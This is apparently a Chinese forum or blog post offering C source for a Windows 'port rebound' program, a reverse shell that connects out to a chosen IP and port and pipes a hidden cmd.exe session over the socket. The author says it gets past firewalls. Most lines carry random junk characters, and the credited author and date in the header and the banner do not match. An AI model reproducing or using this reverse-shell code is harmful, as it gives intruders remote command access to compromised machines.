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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vX7U|zy  
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/* ============================== R XCjYzt  
Rebound port in Windows NT 7K HQ0  
By wind,2006/7 \@Gcx}Y8h  
===============================*/ ~,_@|,)  
#include nC%<BatQ  
#include Bq;GO  
K5rra%a-7  
#pragma comment(lib,"wsock32.lib") P5H_iH  
`g_r<EY8/  
void OutputShell();  m^\&v0  
SOCKET sClient; <-mhz`^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y_}_)nE@m  
G!`PP  
void main(int argc,char **argv) 9[`c"Pd  
{ Lu~E5 ,  
WSADATA stWsaData; 6g\hQ\+Z}  
int nRet; ;[79Ewd#$  
SOCKADDR_IN stSaiClient,stSaiServer; -dWg1`;  
diNAT`|?#  
if(argc != 3) op@=0d??  
{ g${JdxR:  
printf("Useage:\n\rRebound DestIP DestPort\n"); KYZ#.f@  
return; @tJ4^<`P{  
} ')}itS8  
,J '_Vi  
WSAStartup(MAKEWORD(2,2),&stWsaData); .hM t:BMf*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zb&pH~ 7  
Go!{@ xx>  
stSaiClient.sin_family = AF_INET; /k[8xb  
stSaiClient.sin_port = htons(0); ?S'aA !/;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,>01Cs=t8  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %-]a[qf3  
{ UdVf/ PGx  
printf("Bind Socket Failed!\n"); [!>9K}z,=  
return; f~*7hv\  
} W mbIz[un  
j /_&]6!  
stSaiServer.sin_family = AF_INET; C0K: ffv;<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fdWqc_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0l4f%'f  
CPL,QVO9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &S`g&  
{ pGfGGY>i%  
printf("Connect Error!"); #?k</~s6M`  
return; |d z2Drc  
} >&Oql9_  
OutputShell(); BzzZ.AH~  
} `a:3S@n(}  
ML MetRP  
void OutputShell() ar\ K8mj  
{ Q-!gO  
char szBuff[1024]; hkyO_ns  
SECURITY_ATTRIBUTES stSecurityAttributes;  VM:|I~gJ  
OSVERSIONINFO stOsversionInfo;  }JWkV1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o$Ylqb#  
STARTUPINFO stStartupInfo; 9pPLOXr ,  
char *szShell;  \m~p;B  
PROCESS_INFORMATION stProcessInformation; _si5z  
unsigned long lBytesRead; tHo|8c~ [  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \EU^`o+  
zfE8=d8U  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >MKj~Ud  
stSecurityAttributes.lpSecurityDescriptor = 0; zH Z;Y^{+  
stSecurityAttributes.bInheritHandle = TRUE; n1b:Bv4"]#  
lz ::6}  
\K~wsu/?`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MoQ\~/Z|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |IV7g*J89  
F~qZIggD  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ll-QhcC$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y3o3G  
stStartupInfo.wShowWindow = SW_HIDE; }#u #m.  
stStartupInfo.hStdInput = hReadPipe; rjiHP;-t1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jDqG9]  
8!cHRtqK  
GetVersionEx(&stOsversionInfo); '<YBoU{ e*  
79c M _O  
switch(stOsversionInfo.dwPlatformId) Ncsh{.  
{ ;9WUt,R  
case 1: W7b m}JHn  
szShell = "command.com"; $2}#):`  
break; JB].ht  
default: @{q<"hT  
szShell = "cmd.exe"; !zx8I7e4  
break; *!JB^5(H  
} L@/IyQ[H1  
5-$D<}Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |,5|ZpgL  
^r.CUhx)  
send(sClient,szMsg,77,0); p4MWX12  
while(1) '8\9@wzv  
{ D*[J rq,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [`qdpzUp&  
if(lBytesRead) X[r0$yuE  
{ 23i2yT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); G`kz 0Vk  
send(sClient,szBuff,lBytesRead,0); U|Gy9"  
} Uavl%Q  
else PU,$YPrZ  
{ X?[ )e  
lBytesRead=recv(sClient,szBuff,1024,0); CYQ)'v  
if(lBytesRead<=0) break; G%: 3.:E"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kyvl>I0q@  
} |%F,n2  
} ] uyp i#[  
W[*xr{0V  
return; ^iJyo&I  
}
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